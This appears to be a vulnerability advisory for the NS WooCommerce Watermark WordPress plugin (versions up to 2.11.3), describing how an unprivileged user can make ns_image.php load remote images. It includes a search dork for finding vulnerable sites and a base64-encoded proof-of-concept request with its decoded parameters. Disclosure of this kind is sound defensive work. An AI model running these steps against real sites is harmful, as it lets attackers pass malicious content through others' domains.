NS WooCommerce Watermark <= 2.11.3 - Abuse of Functionality

2022-03-1500:00:00

Felipe Restrepo Rodríguez

vulnerable plugin

image watermark

base64 decode

EPSS

0.001

Percentile

33.9%

JSON

An unprivileged user could use the functionality of the plugin to load images that hide malware for example from passing malicious domains to hide their trace, by making them pass through the vulnerable domain.

Search for a vulnerable domain with the dork: "/wp-content/plugins/ns-woocommerce-watermark"

Then go to the path and add: //ns_image.php?param=aW1hZ2VfcGF0aD1odHRwczovL2MudGVub3IuY29tL0VtaVhDd0RKT3JJQUFBQWQvbG9sLXRyb2xvbG8uZ2lmJnd0X3BhdGg9aHR0cHM6Ly9jLnRlbm9yLmNvbS9FbWlYQ3dESk9ySUFBQUFkL2xvbC10cm9sb2xvLmdpZiZvdGhlcj0=

The param value can be modified by decoding it in base64: image_path=https://c.tenor.com/EmiXCwDJOrIAAAAd/lol-trololo.gif&wt_path=https://c.tenor.com/EmiXCwDJOrIAAAAd/lol-trololo.gif&other=


https://example.com/wp-content/plugins/ns-woocommerce-watermark/ns_image.php?param=aW1hZ2VfcGF0aD1odHRwczovL2MudGVub3IuY29tL0VtaVhDd0RKT3JJQUFBQWQvbG9sLXRyb2xvbG8uZ2lmJnd0X3BhdGg9aHR0cHM6Ly9jLnRlbm9yLmNvbS9FbWlYQ3dESk9ySUFBQUFkL2xvbC10cm9sb2xvLmdpZiZvdGhlcj0=

EPSS

0.001

Percentile

33.9%

JSON

Related for WPEX-ID:A6BFC150-8E3F-4B2D-A6E1-09406AF41DD4